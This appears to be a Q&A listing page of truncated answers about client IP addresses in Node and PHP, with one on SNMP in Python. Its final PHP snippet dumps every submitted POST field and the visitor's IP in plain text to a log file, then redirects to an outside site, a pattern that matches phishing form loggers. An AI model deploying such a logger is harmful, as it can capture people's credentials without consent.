How to determine a user’s IP address in node

In your request object there is a property called socket, which is a net.Socket object. The net.Socket object has a property remoteAddress, therefore you should be able to get the IP with this call: request.socket.remoteAddress (if your node version is below 13, use the deprecated now request.connection.remoteAddress) EDIT As @juand points out in the comments, … Read more

How to implement SNMP in python?

If I was in your shoes, I’d read briefly on the subject e.g. how SNMP is designed and how it is typically used. Then I’d try to use ready-made code snippets in hope that they fulfill your immediate need. Once you progress in getting better understanding of the technology and being able asking more concrete … Read more

IP addresses in PHP

IP addresses HTTP headers can easily be spoofed and a lot of users (mainly mobile users on for example a wifi connection) have lease times on IP addresses that are very short, thus enabling them to vote again. That said you can combine options, for example check IP address and set a cookie to make … Read more

How to log IP address in text file

<?php $ip = $_SERVER[‘REMOTE_ADDR’]; //get supposed IP $handle = fopen(“log.txt”, “a”); //open log file foreach($_POST as $variable => $value) { //loop through POST vars fwrite($handle, $variable . “+” . $value . “\r\n”); } fwrite($handle, “IP: $ip \r\n \r\n”); fclose($handle); header (‘Location: http://proxy4free.com’); exit; Note that file_put_contents is a wrapper around fopen/fwrite/fclose and will simplify your … Read more